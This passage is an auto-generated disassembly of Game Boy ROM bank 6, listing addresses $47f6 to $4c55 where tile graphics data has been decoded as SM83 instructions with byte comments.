ret nc ; $47f6: $d0
or b ; $47f7: $b0
ld hl, sp-$38 ; $47f8: $f8 $c8
db $fc ; $47fa: $fc
ld a, h ; $47fb: $7c
ld [$3ed6], a ; $47fc: $ea $d6 $3e
ld a, $ce ; $47ff: $3e $ce
or d ; $4801: $b2
ld h, h ; $4802: $64
ld e, h ; $4803: $5c
db $fc ; $4804: $fc
sub h ; $4805: $94
db $fc ; $4806: $fc
ld l, h ; $4807: $6c
db $fc ; $4808: $fc
sub h ; $4809: $94
or $1a ; $480a: $f6 $1a
db $76 ; $480c: $76
sbc d ; $480d: $9a
cpl ; $480e: $2f
pop af ; $480f: $f1
nop ; $4810: $00
nop ; $4811: $00
nop ; $4812: $00
nop ; $4813: $00
nop ; $4814: $00
nop ; $4815: $00
inc bc ; $4816: $03
ld [bc], a ; $4817: $02
dec b ; $4818: $05
ld b, $05 ; $4819: $06 $05
rlca ; $481b: $07
ld c, $0b ; $481c: $0e $0b
rra ; $481e: $1f
inc d ; $481f: $14
nop ; $4820: $00
nop ; $4821: $00
inc bc ; $4822: $03
inc bc ; $4823: $03
rlca ; $4824: $07
inc b ; $4825: $04
rrca ; $4826: $0f
add hl, bc ; $4827: $09
ld a, a ; $4828: $7f
ld a, b ; $4829: $78
rst $28 ; $482a: $ef
sbc h ; $482b: $9c
rst $28 ; $482c: $ef
cp [hl] ; $482d: $be
rst $18 ; $482e: $df
ei ; $482f: $fb
ccf ; $4830: $3f
ccf ; $4831: $3f
ld c, a ; $4832: $4f
ld a, b ; $4833: $78
rst $38 ; $4834: $ff
or b ; $4835: $b0
rst $38 ; $4836: $ff
ld e, [hl] ; $4837: $5e
rst $38 ; $4838: $ff
db $d3 ; $4839: $d3
cp a ; $483a: $bf
ld h, c ; $483b: $61
rst $38 ; $483c: $ff
add hl, sp ; $483d: $39
rst $38 ; $483e: $ff
ld l, c ; $483f: $69
nop ; $4840: $00
nop ; $4841: $00
add b ; $4842: $80
add b ; $4843: $80
ret nz ; $4844: $c0
ld b, b ; $4845: $40
ld hl, sp+$38 ; $4846: $f8 $38
db $e4 ; $4848: $e4
inc a ; $4849: $3c
db $ec ; $484a: $ec
or h ; $484b: $b4
and $ba ; $484c: $e6 $ba
ld [c], a ; $484e: $e2
cp [hl] ; $484f: $be
nop ; $4850: $00
nop ; $4851: $00
inc bc ; $4852: $03
inc bc ; $4853: $03
ld c, $0d ; $4854: $0e $0d
inc d ; $4856: $14
dec de ; $4857: $1b
db $10 ; $4858: $10
rra ; $4859: $1f
rra ; $485a: $1f
rra ; $485b: $1f
ccf ; $485c: $3f
jr nz, jr_006_48de ; $485d: $20 $7f
ld b, a ; $485f: $47
nop ; $4860: $00
nop ; $4861: $00
ldh [$e0], a ; $4862: $e0 $e0
db $10 ; $4864: $10
ldh a, [$08] ; $4865: $f0 $08
ld hl, sp+$14 ; $4867: $f8 $14
db $fc ; $4869: $fc
inc [hl] ; $486a: $34
db $ec ; $486b: $ec
db $fc ; $486c: $fc
call nz, Call_006_6cf4 ; $486d: $c4 $f4 $6c
ld a, a ; $4870: $7f
ld d, c ; $4871: $51
ld a, a ; $4872: $7f
ld b, e ; $4873: $43
ccf ; $4874: $3f
ld h, $1f ; $4875: $26 $1f
rra ; $4877: $1f
add hl, bc ; $4878: $09
rrca ; $4879: $0f
ld c, $0b ; $487a: $0e $0b
rrca ; $487c: $0f
add hl, bc ; $487d: $09
rlca ; $487e: $07
rlca ; $487f: $07
cp c ; $4880: $b9
ld a, a ; $4881: $7f
ld a, [c] ; $4882: $f2
ld a, $dc ; $4883: $3e $dc
ld a, h ; $4885: $7c
ldh [$e0], a ; $4886: $e0 $e0
call c, $d4bc ; $4888: $dc $bc $d4
ld l, h ; $488b: $6c
cp b ; $488c: $b8
ld a, b ; $488d: $78
ret nz ; $488e: $c0
ret nz ; $488f: $c0
rlca ; $4890: $07
dec b ; $4891: $05
add hl, bc ; $4892: $09
rrca ; $4893: $0f
ld a, h ; $4894: $7c
ld a, a ; $4895: $7f
xor a ; $4896: $af
ei ; $4897: $fb
rst $10 ; $4898: $d7
db $fd ; $4899: $fd
ld l, e ; $489a: $6b
ld a, a ; $489b: $7f
cp e ; $489c: $bb
cp $cf ; $489d: $fe $cf
rst $08 ; $489f: $cf
rst $38 ; $48a0: $ff
ld [hl], e ; $48a1: $73
rst $38 ; $48a2: $ff
sbc c ; $48a3: $99
rst $38 ; $48a4: $ff
call $25ff ; $48a5: $cd $ff $25
sbc [hl] ; $48a8: $9e
or $fe ; $48a9: $f6 $fe
ld e, d ; $48ab: $5a
db $fc ; $48ac: $fc
ld h, h ; $48ad: $64
ld hl, sp-$38 ; $48ae: $f8 $c8
rlca ; $48b0: $07
rlca ; $48b1: $07
jr jr_006_48d3 ; $48b2: $18 $1f
jr nz, jr_006_48f5 ; $48b4: $20 $3f
ld b, e ; $48b6: $43
ld a, h ; $48b7: $7c
ld c, a ; $48b8: $4f
ld [hl], b ; $48b9: $70
adc a ; $48ba: $8f
ldh a, [$9f] ; $48bb: $f0 $9f
ldh [$9f], a ; $48bd: $e0 $9f
ldh [$e0], a ; $48bf: $e0 $e0
ldh [rNR23], a ; $48c1: $e0 $18
ld hl, sp+$04 ; $48c3: $f8 $04
db $fc ; $48c5: $fc
jp nz, Jump_000_323e ; $48c6: $c2 $3e $32
adc $d1 ; $48c9: $ce $d1
cpl ; $48cb: $2f
sbc c ; $48cc: $99
ld h, a ; $48cd: $67
ld l, c ; $48ce: $69
sub a ; $48cf: $97
dec sp ; $48d0: $3b
jr_006_48d1:
rst $08 ; $48d1: $cf
ld sp, hl ; $48d2: $f9
jr_006_48d3:
rra ; $48d3: $1f
push af ; $48d4: $f5
rst $38 ; $48d5: $ff
ccf ; $48d6: $3f
rst $08 ; $48d7: $cf
ld a, a ; $48d8: $7f
add l ; $48d9: $85
ld a, a ; $48da: $7f
sbc c ; $48db: $99
or $ea ; $48dc: $f6 $ea
jr_006_48de:
db $ec ; $48de: $ec
call nc, Call_000_161b ; $48df: $d4 $1b $16
dec e ; $48e2: $1d
inc de ; $48e3: $13
ld a, $25 ; $48e4: $3e $25
cp [hl] ; $48e6: $be
xor e ; $48e7: $ab
rst $38 ; $48e8: $ff
ld l, c ; $48e9: $69
cp a ; $48ea: $bf
pop af ; $48eb: $f1
db $fd ; $48ec: $fd
ld a, [c] ; $48ed: $f2
ld a, l ; $48ee: $7d
jp c, Jump_006_6f9f ; $48ef: $da $9f $6f
ld sp, hl ; $48f2: $f9
adc a ; $48f3: $8f
push af ; $48f4: $f5
jr_006_48f5:
rst $38 ; $48f5: $ff
cp a ; $48f6: $bf
rst $08 ; $48f7: $cf
ld a, a ; $48f8: $7f
add l ; $48f9: $85
ld a, a ; $48fa: $7f
sbc c ; $48fb: $99
or $ea ; $48fc: $f6 $ea
ld l, h ; $48fe: $6c
ld d, h ; $48ff: $54
rst $38 ; $4900: $ff
jr nc, jr_006_48d1 ; $4901: $30 $ce
ld c, c ; $4903: $49
add a ; $4904: $87
add l ; $4905: $85
inc bc ; $4906: $03
inc bc ; $4907: $03
ld b, $05 ; $4908: $06 $05
ld b, $05 ; $490a: $06 $05
rlca ; $490c: $07
inc b ; $490d: $04
inc bc ; $490e: $03
ld [bc], a ; $490f: $02
add b ; $4910: $80
add b ; $4911: $80
add b ; $4912: $80
add b ; $4913: $80
ld b, b ; $4914: $40
ret nz ; $4915: $c0
ret nz ; $4916: $c0
ld b, b ; $4917: $40
ret nz ; $4918: $c0
ld b, b ; $4919: $40
ret nz ; $491a: $c0
ld b, b ; $491b: $40
ld b, b ; $491c: $40
ret nz ; $491d: $c0
ret nz ; $491e: $c0
ld b, b ; $491f: $40
rst $38 ; $4920: $ff
sbc b ; $4921: $98
cp [hl] ; $4922: $be
db $ed ; $4923: $ed
ld c, e ; $4924: $4b
ld a, a ; $4925: $7f
ld [hl], a ; $4926: $77
ld d, a ; $4927: $57
ld d, l ; $4928: $55
ld [hl], a ; $4929: $77
inc [hl] ; $492a: $34
scf ; $492b: $37
ld [bc], a ; $492c: $02
inc bc ; $492d: $03
jr_006_492e:
ld bc, $ef01 ; $492e: $01 $01 $ef
push de ; $4931: $d5
rst $18 ; $4932: $df
and a ; $4933: $a7
rst $18 ; $4934: $df
xor e ; $4935: $ab
sbc $37 ; $4936: $de $37
db $fd ; $4938: $fd
ld h, l ; $4939: $65
ld hl, sp-$58 ; $493a: $f8 $a8
jr nc, jr_006_492e ; $493c: $30 $f0
ret nz ; $493e: $c0
ret nz ; $493f: $c0
jp nz, $c27e ; $4940: $c2 $7e $c2
cp $e2 ; $4943: $fe $e2
cp [hl] ; $4945: $be
db $f4 ; $4946: $f4
inc e ; $4947: $1c
ld c, b ; $4948: $48
jr_006_4949:
cp b ; $4949: $b8
ldh a, [$f0] ; $494a: $f0 $f0
nop ; $494c: $00
nop ; $494d: $00
nop ; $494e: $00
nop ; $494f: $00
rst $38 ; $4950: $ff
adc a ; $4951: $8f
rst $38 ; $4952: $ff
sbc b ; $4953: $98
rst $38 ; $4954: $ff
sub b ; $4955: $90
rst $38 ; $4956: $ff
db $d3 ; $4957: $d3
cp a ; $4958: $bf
ld a, [$e7bf] ; $4959: $fa $bf $e7
ld a, e ; $495c: $7b
ld e, l ; $495d: $5d
ccf ; $495e: $3f
jr z, jr_006_4949 ; $495f: $28 $e8
ld hl, sp-$10 ; $4961: $f8 $f0
ld [hl], b ; $4963: $70
ld hl, sp-$28 ; $4964: $f8 $d8
db $fc ; $4966: $fc
inc h ; $4967: $24
ld a, [hl] ; $4968: $7e
sub d ; $4969: $92
adc [hl] ; $496a: $8e
ld a, [hl] ; $496b: $7e
db $fd ; $496c: $fd
adc e ; $496d: $8b
db $fd ; $496e: $fd
rst $20 ; $496f: $e7
cp h ; $4970: $bc
ld c, h ; $4971: $4c
xor [hl] ; $4972: $ae
ld e, d ; $4973: $5a
db $dd ; $4974: $dd
or a ; $4975: $b7
rst $28 ; $4976: $ef
sub e ; $4977: $93
db $dd ; $4978: $dd
rst $20 ; $4979: $e7
ld a, e ; $497a: $7b
rst $38 ; $497b: $ff
adc [hl] ; $497c: $8e
cp $fc ; $497d: $fe $fc
db $fc ; $497f: $fc
ldh [$a0], a ; $4980: $e0 $a0
ld b, b ; $4982: $40
ret nz ; $4983: $c0
rst $20 ; $4984: $e7
rst $20 ; $4985: $e7
cp l ; $4986: $bd
ld e, a ; $4987: $5f
db $dd ; $4988: $dd
cpl ; $4989: $2f
rst $18 ; $498a: $df
daa ; $498b: $27
db $fd ; $498c: $fd
rst $08 ; $498d: $cf
ld a, a ; $498e: $7f
ld a, a ; $498f: $7f
nop ; $4990: $00
nop ; $4991: $00
nop ; $4992: $00
nop ; $4993: $00
rra ; $4994: $1f
ld de, $131c ; $4995: $11 $1c $13
ccf ; $4998: $3f
jr nz, jr_006_49d9 ; $4999: $20 $3e
inc hl ; $499b: $23
rra ; $499c: $1f
dec d ; $499d: $15
db $76 ; $499e: $76
ld a, l ; $499f: $7d
nop ; $49a0: $00
nop ; $49a1: $00
nop ; $49a2: $00
nop ; $49a3: $00
sbc a ; $49a4: $9f
ld l, a ; $49a5: $6f
ld sp, hl ; $49a6: $f9
adc a ; $49a7: $8f
ld [hl], l ; $49a8: $75
rst $38 ; $49a9: $ff
cp a ; $49aa: $bf
ld c, a ; $49ab: $4f
cp a ; $49ac: $bf
reti ; $49ad: $d9
cp $62 ; $49ae: $fe $62
sbc a ; $49b0: $9f
ldh [$9f], a ; $49b1: $e0 $9f
ldh [$8f], a ; $49b3: $e0 $8f
ldh a, [rVBK] ; $49b5: $f0 $4f
ld [hl], b ; $49b7: $70
ld b, e ; $49b8: $43
ld a, h ; $49b9: $7c
jr nz, jr_006_49fb ; $49ba: $20 $3f
jr jr_006_49dd ; $49bc: $18 $1f
rlca ; $49be: $07
rlca ; $49bf: $07
ld sp, hl ; $49c0: $f9
rlca ; $49c1: $07
ld sp, hl ; $49c2: $f9
rlca ; $49c3: $07
pop af ; $49c4: $f1
rrca ; $49c5: $0f
jr_006_49c6:
ld a, [c] ; $49c6: $f2
ld c, $c2 ; $49c7: $0e $c2
ld a, $04 ; $49c9: $3e $04
db $fc ; $49cb: $fc
jr jr_006_49c6 ; $49cc: $18 $f8
ldh [$e0], a ; $49ce: $e0 $e0
rla ; $49d0: $17
dec e ; $49d1: $1d
ld e, $16 ; $49d2: $1e $16
inc d ; $49d4: $14
inc e ; $49d5: $1c
jr jr_006_49f0 ; $49d6: $18 $18
nop ; $49d8: $00
jr_006_49d9:
nop ; $49d9: $00
nop ; $49da: $00
nop ; $49db: $00
nop ; $49dc: $00
jr_006_49dd:
nop ; $49dd: $00
nop ; $49de: $00
nop ; $49df: $00
ei ; $49e0: $fb
adc h ; $49e1: $8c
ld a, a ; $49e2: $7f
ld c, h ; $49e3: $4c
ccf ; $49e4: $3f
dec h ; $49e5: $25
rra ; $49e6: $1f
inc de ; $49e7: $13
rrca ; $49e8: $0f
dec c ; $49e9: $0d
inc bc ; $49ea: $03
inc bc ; $49eb: $03
nop ; $49ec: $00
nop ; $49ed: $00
nop ; $49ee: $00
nop ; $49ef: $00
jr_006_49f0:
ld a, h ; $49f0: $7c
ld b, h ; $49f1: $44
ld hl, sp-$18 ; $49f2: $f8 $e8
ld d, b ; $49f4: $50
ldh a, [$f8] ; $49f5: $f0 $f8
ld c, b ; $49f7: $48
ld a, b ; $49f8: $78
add sp, -$04 ; $49f9: $e8 $fc
jr_006_49fb:
call c, $766a ; $49fb: $dc $6a $76
ld e, $1e ; $49fe: $1e $1e
inc bc ; $4a00: $03
ld [bc], a ; $4a01: $02
inc bc ; $4a02: $03
ld [bc], a ; $4a03: $02
inc bc ; $4a04: $03
inc bc ; $4a05: $03
ld [bc], a ; $4a06: $02
inc bc ; $4a07: $03
inc bc ; $4a08: $03
ld [bc], a ; $4a09: $02
inc bc ; $4a0a: $03
ld [bc], a ; $4a0b: $02
ld bc, $0001 ; $4a0c: $01 $01 $00
nop ; $4a0f: $00
ldh [rNR41], a ; $4a10: $e0 $20
ldh [$a0], a ; $4a12: $e0 $a0
sbc $fe ; $4a14: $de $fe
cp c ; $4a16: $b9
rst $08 ; $4a17: $cf
db $76 ; $4a18: $76
ld a, [$5cec] ; $4a19: $fa $ec $5c
ldh a, [$f0] ; $4a1c: $f0 $f0
nop ; $4a1e: $00
nop ; $4a1f: $00
nop ; $4a20: $00
nop ; $4a21: $00
nop ; $4a22: $00
nop ; $4a23: $00
nop ; $4a24: $00
nop ; $4a25: $00
nop ; $4a26: $00
nop ; $4a27: $00
nop ; $4a28: $00
nop ; $4a29: $00
ld bc, $0201 ; $4a2a: $01 $01 $02
inc bc ; $4a2d: $03
rlca ; $4a2e: $07
rlca ; $4a2f: $07
nop ; $4a30: $00
nop ; $4a31: $00
nop ; $4a32: $00
nop ; $4a33: $00
nop ; $4a34: $00
nop ; $4a35: $00
nop ; $4a36: $00
nop ; $4a37: $00
ld [hl], b ; $4a38: $70
ld [hl], b ; $4a39: $70
xor h ; $4a3a: $ac
call c, $be42 ; $4a3b: $dc $42 $be
jp nz, Jump_000_0ffe ; $4a3e: $c2 $fe $0f
ld a, [bc] ; $4a41: $0a
rra ; $4a42: $1f
inc d ; $4a43: $14
rla ; $4a44: $17
inc e ; $4a45: $1c
cpl ; $4a46: $2f
add hl, sp ; $4a47: $39
cpl ; $4a48: $2f
dec sp ; $4a49: $3b
cpl ; $4a4a: $2f
ld a, [hl-] ; $4a4b: $3a
rra ; $4a4c: $1f
ld e, $1f ; $4a4d: $1e $1f
inc de ; $4a4f: $13
pop hl ; $4a50: $e1
ccf ; $4a51: $3f
db $fd ; $4a52: $fd
dec de ; $4a53: $1b
rst $38 ; $4a54: $ff
dec c ; $4a55: $0d
rst $38 ; $4a56: $ff
push hl ; $4a57: $e5
cp $16 ; $4a58: $fe $16
db $fc ; $4a5a: $fc
ld l, h ; $4a5b: $6c
db $fc ; $4a5c: $fc
db $fc ; $4a5d: $fc
cp $9a ; $4a5e: $fe $9a
add hl, de ; $4a60: $19
rla ; $4a61: $17
dec e ; $4a62: $1d
inc de ; $4a63: $13
ccf ; $4a64: $3f
dec h ; $4a65: $25
cp [hl] ; $4a66: $be
xor e ; $4a67: $ab
rst $38 ; $4a68: $ff
ld l, c ; $4a69: $69
cp a ; $4a6a: $bf
pop af ; $4a6b: $f1
db $fd ; $4a6c: $fd
ld a, [c] ; $4a6d: $f2
ld a, l ; $4a6e: $7d
jp c, Jump_006_4dbf ; $4a6f: $da $bf $4d
xor a ; $4a72: $af
ld e, c ; $4a73: $59
rst $10 ; $4a74: $d7
dec a ; $4a75: $3d
ld a, [c] ; $4a76: $f2
sbc [hl] ; $4a77: $9e
rst $30 ; $4a78: $f7
cp l ; $4a79: $bd
rst $18 ; $4a7a: $df
ld a, l ; $4a7b: $7d
add [hl] ; $4a7c: $86
cp $fc ; $4a7d: $fe $fc
db $fc ; $4a7f: $fc
nop ; $4a80: $00
nop ; $4a81: $00
nop ; $4a82: $00
nop ; $4a83: $00
nop ; $4a84: $00
nop ; $4a85: $00
ld bc, $0101 ; $4a86: $01 $01 $01
ld bc, $0101 ; $4a89: $01 $01 $01
nop ; $4a8c: $00
nop ; $4a8d: $00
nop ; $4a8e: $00
nop ; $4a8f: $00
rst $38 ; $4a90: $ff
sbc h ; $4a91: $9c
rst $08 ; $4a92: $cf
cp [hl] ; $4a93: $be
cp a ; $4a94: $bf
ld sp, hl ; $4a95: $f9
rst $38 ; $4a96: $ff
ld e, b ; $4a97: $58
ld a, a ; $4a98: $7f
adc $f1 ; $4a99: $ce $f1
ld [hl], c ; $4a9b: $71
xor c ; $4a9c: $a9
reti ; $4a9d: $d9
ld a, b ; $4a9e: $78
ld a, b ; $4a9f: $78
ld a, [hl] ; $4aa0: $7e
and d ; $4aa1: $a2
cp h ; $4aa2: $bc
ld d, h ; $4aa3: $54
cp b ; $4aa4: $b8
ret c ; $4aa5: $d8
ld hl, sp+$78 ; $4aa6: $f8 $78
ld a, b ; $4aa8: $78
adc b ; $4aa9: $88
db $fc ; $4aaa: $fc
db $fc ; $4aab: $fc
ld a, [$7ed6] ; $4aac: $fa $d6 $7e
ld a, [hl] ; $4aaf: $7e
nop ; $4ab0: $00
nop ; $4ab1: $00
nop ; $4ab2: $00
nop ; $4ab3: $00
rra ; $4ab4: $1f
ld [de], a ; $4ab5: $12
add hl, de ; $4ab6: $19
rla ; $4ab7: $17
ld a, $21 ; $4ab8: $3e $21
ccf ; $4aba: $3f
daa ; $4abb: $27
ccf ; $4abc: $3f
jr z, jr_006_4ade ; $4abd: $28 $1f
jr jr_006_4ac1 ; $4abf: $18 $00
jr_006_4ac1:
nop ; $4ac1: $00
nop ; $4ac2: $00
nop ; $4ac3: $00
ld a, l ; $4ac4: $7d
xor a ; $4ac5: $af
ld sp, hl ; $4ac6: $f9
ld e, a ; $4ac7: $5f
cp $ff ; $4ac8: $fe $ff
cp a ; $4aca: $bf
rst $08 ; $4acb: $cf
rst $38 ; $4acc: $ff
ld sp, hl ; $4acd: $f9
cp $62 ; $4ace: $fe $62
nop ; $4ad0: $00
nop ; $4ad1: $00
nop ; $4ad2: $00
nop ; $4ad3: $00
ld bc, $0300 ; $4ad4: $01 $00 $03
nop ; $4ad7: $00
rlca ; $4ad8: $07
nop ; $4ad9: $00
rrca ; $4ada: $0f
nop ; $4adb: $00
ld e, $00 ; $4adc: $1e $00
jr_006_4ade:
inc a ; $4ade: $3c
nop ; $4adf: $00
rrca ; $4ae0: $0f
nop ; $4ae1: $00
ld a, a ; $4ae2: $7f
nop ; $4ae3: $00
rst $38 ; $4ae4: $ff
nop ; $4ae5: $00
ld hl, sp+$00 ; $4ae6: $f8 $00
ret nz ; $4ae8: $c0
nop ; $4ae9: $00
nop ; $4aea: $00
nop ; $4aeb: $00
nop ; $4aec: $00
nop ; $4aed: $00
nop ; $4aee: $00
nop ; $4aef: $00
jr c, jr_006_4af2 ; $4af0: $38 $00
jr_006_4af2:
ld a, b ; $4af2: $78
nop ; $4af3: $00
ld [hl], b ; $4af4: $70
nop ; $4af5: $00
ld [hl], b ; $4af6: $70
nop ; $4af7: $00
ldh a, [rP1] ; $4af8: $f0 $00
ldh [rP1], a ; $4afa: $e0 $00
ldh [rP1], a ; $4afc: $e0 $00
ldh [rP1], a ; $4afe: $e0 $00
nop ; $4b00: $00
nop ; $4b01: $00
nop ; $4b02: $00
nop ; $4b03: $00
nop ; $4b04: $00
inc a ; $4b05: $3c
inc a ; $4b06: $3c
ld b, d ; $4b07: $42
inc a ; $4b08: $3c
ld b, d ; $4b09: $42
nop ; $4b0a: $00
inc a ; $4b0b: $3c
nop ; $4b0c: $00
nop ; $4b0d: $00
nop ; $4b0e: $00
nop ; $4b0f: $00
nop ; $4b10: $00
nop ; $4b11: $00
nop ; $4b12: $00
jr jr_006_4b2d ; $4b13: $18 $18
inc h ; $4b15: $24
jr jr_006_4b3c ; $4b16: $18 $24
jr jr_006_4b3e ; $4b18: $18 $24
jr jr_006_4b40 ; $4b1a: $18 $24
nop ; $4b1c: $00
jr jr_006_4b1f ; $4b1d: $18 $00
jr_006_4b1f:
nop ; $4b1f: $00
nop ; $4b20: $00
nop ; $4b21: $00
nop ; $4b22: $00
nop ; $4b23: $00
ld de, $0000 ; $4b24: $11 $00 $00
ld [$000c], sp ; $4b27: $08 $0c $00
rlca ; $4b2a: $07
nop ; $4b2b: $00
inc bc ; $4b2c: $03
jr_006_4b2d:
inc b ; $4b2d: $04
add hl, bc ; $4b2e: $09
ld [bc], a ; $4b2f: $02
ld [bc], a ; $4b30: $02
nop ; $4b31: $00
ld [bc], a ; $4b32: $02
ld bc, $050a ; $4b33: $01 $0a $05
add e ; $4b36: $83
ld b, h ; $4b37: $44
ld e, a ; $4b38: $5f
jr nz, jr_006_4bba ; $4b39: $20 $7f
add b ; $4b3b: $80
jr_006_4b3c:
cp a ; $4b3c: $bf
ld b, b ; $4b3d: $40
jr_006_4b3e:
rst $38 ; $4b3e: $ff
nop ; $4b3f: $00
jr_006_4b40:
ld b, $01 ; $4b40: $06 $01
cpl ; $4b42: $2f
db $10 ; $4b43: $10
rla ; $4b44: $17
nop ; $4b45: $00
ld c, a ; $4b46: $4f
jr nc, jr_006_4b68 ; $4b47: $30 $1f
nop ; $4b49: $00
scf ; $4b4a: $37
nop ; $4b4b: $00
adc a ; $4b4c: $8f
ld h, b ; $4b4d: $60
ccf ; $4b4e: $3f
nop ; $4b4f: $00
db $f4 ; $4b50: $f4
dec bc ; $4b51: $0b
cp $16 ; $4b52: $fe $16
db $fc ; $4b54: $fc
ld a, h ; $4b55: $7c
ldh a, [$30] ; $4b56: $f0 $30
ldh a, [$f0] ; $4b58: $f0 $f0
ldh [$60], a ; $4b5a: $e0 $60
ret nz ; $4b5c: $c0
ret nz ; $4b5d: $c0
ret nz ; $4b5e: $c0
ret nz ; $4b5f: $c0
nop ; $4b60: $00
nop ; $4b61: $00
ld bc, $0701 ; $4b62: $01 $01 $07
rlca ; $4b65: $07
rra ; $4b66: $1f
rra ; $4b67: $1f
jr_006_4b68:
rra ; $4b68: $1f
ld e, $3f ; $4b69: $1e $3f
jr c, jr_006_4bac ; $4b6b: $38 $3f
jr c, jr_006_4bee ; $4b6d: $38 $7f
ld [hl], b ; $4b6f: $70
nop ; $4b70: $00
nop ; $4b71: $00
nop ; $4b72: $00
ld bc, $0601 ; $4b73: $01 $01 $06
rlca ; $4b76: $07
ld [$100f], sp ; $4b77: $08 $0f $10
rra ; $4b7a: $1f
jr nz, jr_006_4b9c ; $4b7b: $20 $1f
jr nz, jr_006_4bbd ; $4b7d: $20 $3e
ld b, b ; $4b7f: $40
nop ; $4b80: $00
ld a, [hl] ; $4b81: $7e
ld a, [hl] ; $4b82: $7e
add c ; $4b83: $81
rst $38 ; $4b84: $ff
nop ; $4b85: $00
rst $38 ; $4b86: $ff
nop ; $4b87: $00
rst $38 ; $4b88: $ff
nop ; $4b89: $00
jp RST_00 ; $4b8a: $c3 $00 $00
nop ; $4b8d: $00
nop ; $4b8e: $00
nop ; $4b8f: $00
inc a ; $4b90: $3c
ld b, b ; $4b91: $40
ld a, h ; $4b92: $7c
add b ; $4b93: $80
ld a, b ; $4b94: $78
add b ; $4b95: $80
ld a, b ; $4b96: $78
add b ; $4b97: $80
ld a, b ; $4b98: $78
add b ; $4b99: $80
ld a, b ; $4b9a: $78
add b ; $4b9b: $80
jr_006_4b9c:
ld a, h ; $4b9c: $7c
add b ; $4b9d: $80
inc a ; $4b9e: $3c
ld b, b ; $4b9f: $40
inc bc ; $4ba0: $03
nop ; $4ba1: $00
rrca ; $4ba2: $0f
nop ; $4ba3: $00
rra ; $4ba4: $1f
nop ; $4ba5: $00
ccf ; $4ba6: $3f
nop ; $4ba7: $00
ld a, a ; $4ba8: $7f
nop ; $4ba9: $00
ld a, a ; $4baa: $7f
nop ; $4bab: $00
jr_006_4bac:
rst $38 ; $4bac: $ff
nop ; $4bad: $00
rst $38 ; $4bae: $ff
nop ; $4baf: $00
db $10 ; $4bb0: $10
inc a ; $4bb1: $3c
ld [bc], a ; $4bb2: $02
ld a, h ; $4bb3: $7c
ld e, d ; $4bb4: $5a
and a ; $4bb5: $a7
dec c ; $4bb6: $0d
ei ; $4bb7: $fb
ld l, e ; $4bb8: $6b
rst $38 ; $4bb9: $ff
jr_006_4bba:
and d ; $4bba: $a2
rst $30 ; $4bbb: $f7
ld b, c ; $4bbc: $41
jr_006_4bbd:
ld e, c ; $4bbd: $59
nop ; $4bbe: $00
ld [$003c], sp ; $4bbf: $08 $3c $00
ld a, [hl] ; $4bc2: $7e
nop ; $4bc3: $00
rst $38 ; $4bc4: $ff
nop ; $4bc5: $00
rst $38 ; $4bc6: $ff
nop ; $4bc7: $00
rst $38 ; $4bc8: $ff
nop ; $4bc9: $00
rst $38 ; $4bca: $ff
nop ; $4bcb: $00
ld a, [hl] ; $4bcc: $7e
nop ; $4bcd: $00
inc a ; $4bce: $3c
nop ; $4bcf: $00
nop ; $4bd0: $00
nop ; $4bd1: $00
nop ; $4bd2: $00
nop ; $4bd3: $00
ld bc, $2500 ; $4bd4: $01 $00 $25
ld [bc], a ; $4bd7: $02
dec de ; $4bd8: $1b
nop ; $4bd9: $00
rrca ; $4bda: $0f
db $10 ; $4bdb: $10
ld [hl], $08 ; $4bdc: $36 $08
rra ; $4bde: $1f
nop ; $4bdf: $00
jr nz, jr_006_4be2 ; $4be0: $20 $00
jr_006_4be2:
jr z, jr_006_4bf4 ; $4be2: $28 $10
ld l, d ; $4be4: $6a
db $10 ; $4be5: $10
cp $00 ; $4be6: $fe $00
rst $18 ; $4be8: $df
nop ; $4be9: $00
rst $18 ; $4bea: $df
db $10 ; $4beb: $10
rst $38 ; $4bec: $ff
ld d, h ; $4bed: $54
jr_006_4bee:
rst $38 ; $4bee: $ff
rst $18 ; $4bef: $df
rra ; $4bf0: $1f
ld bc, $037f ; $4bf1: $01 $7f $03
jr_006_4bf4:
ld e, $60 ; $4bf4: $1e $60
cp $06 ; $4bf6: $fe $06
ld a, $00 ; $4bf8: $3e $00
ld a, a ; $4bfa: $7f
inc bc ; $4bfb: $03
rra ; $4bfc: $1f
ld hl, $011d ; $4bfd: $21 $1d $01
inc [hl] ; $4c00: $34
inc a ; $4c01: $3c
ld a, [hl] ; $4c02: $7e
ld b, d ; $4c03: $42
rst $38 ; $4c04: $ff
add c ; $4c05: $81
rst $38 ; $4c06: $ff
add c ; $4c07: $81
rst $38 ; $4c08: $ff
add e ; $4c09: $83
rst $38 ; $4c0a: $ff
pop bc ; $4c0b: $c1
ld a, [hl] ; $4c0c: $7e
ld b, d ; $4c0d: $42
inc [hl] ; $4c0e: $34
inc a ; $4c0f: $3c
sub d ; $4c10: $92
nop ; $4c11: $00
ld b, h ; $4c12: $44
nop ; $4c13: $00
stop ; $4c14: $10 $00
cp d ; $4c16: $ba
nop ; $4c17: $00
stop ; $4c18: $10 $00
ld b, h ; $4c1a: $44
nop ; $4c1b: $00
sub d ; $4c1c: $92
nop ; $4c1d: $00
nop ; $4c1e: $00
nop ; $4c1f: $00
inc a ; $4c20: $3c
inc a ; $4c21: $3c
ld l, [hl] ; $4c22: $6e
db $76 ; $4c23: $76
rst $18 ; $4c24: $df
db $db ; $4c25: $db
cp l ; $4c26: $bd
rst $38 ; $4c27: $ff
cp l ; $4c28: $bd
rst $38 ; $4c29: $ff
db $db ; $4c2a: $db
db $db ; $4c2b: $db
ld h, [hl] ; $4c2c: $66
ld a, [hl] ; $4c2d: $7e
inc a ; $4c2e: $3c
inc a ; $4c2f: $3c
inc a ; $4c30: $3c
inc a ; $4c31: $3c
ld a, [hl] ; $4c32: $7e
ld e, d ; $4c33: $5a
db $db ; $4c34: $db
and l ; $4c35: $a5
rst $38 ; $4c36: $ff
jp $c3ff ; $4c37: $c3 $ff $c3
db $db ; $4c3a: $db
and l ; $4c3b: $a5
ld a, [hl] ; $4c3c: $7e
ld e, d ; $4c3d: $5a
inc a ; $4c3e: $3c
inc a ; $4c3f: $3c
inc a ; $4c40: $3c
inc a ; $4c41: $3c
ld a, [hl] ; $4c42: $7e
ld b, d ; $4c43: $42
rst $20 ; $4c44: $e7
sbc c ; $4c45: $99
db $db ; $4c46: $db
and l ; $4c47: $a5
db $db ; $4c48: $db
and l ; $4c49: $a5
rst $20 ; $4c4a: $e7
sbc c ; $4c4b: $99
ld a, [hl] ; $4c4c: $7e
ld b, d ; $4c4d: $42
inc a ; $4c4e: $3c
inc a ; $4c4f: $3c
nop ; $4c50: $00
nop ; $4c51: $00
inc a ; $4c52: $3c
inc a ; $4c53: $3c
ld a, [hl] ; $4c54: $7e
ld h, [hl] ; $4c55: $66
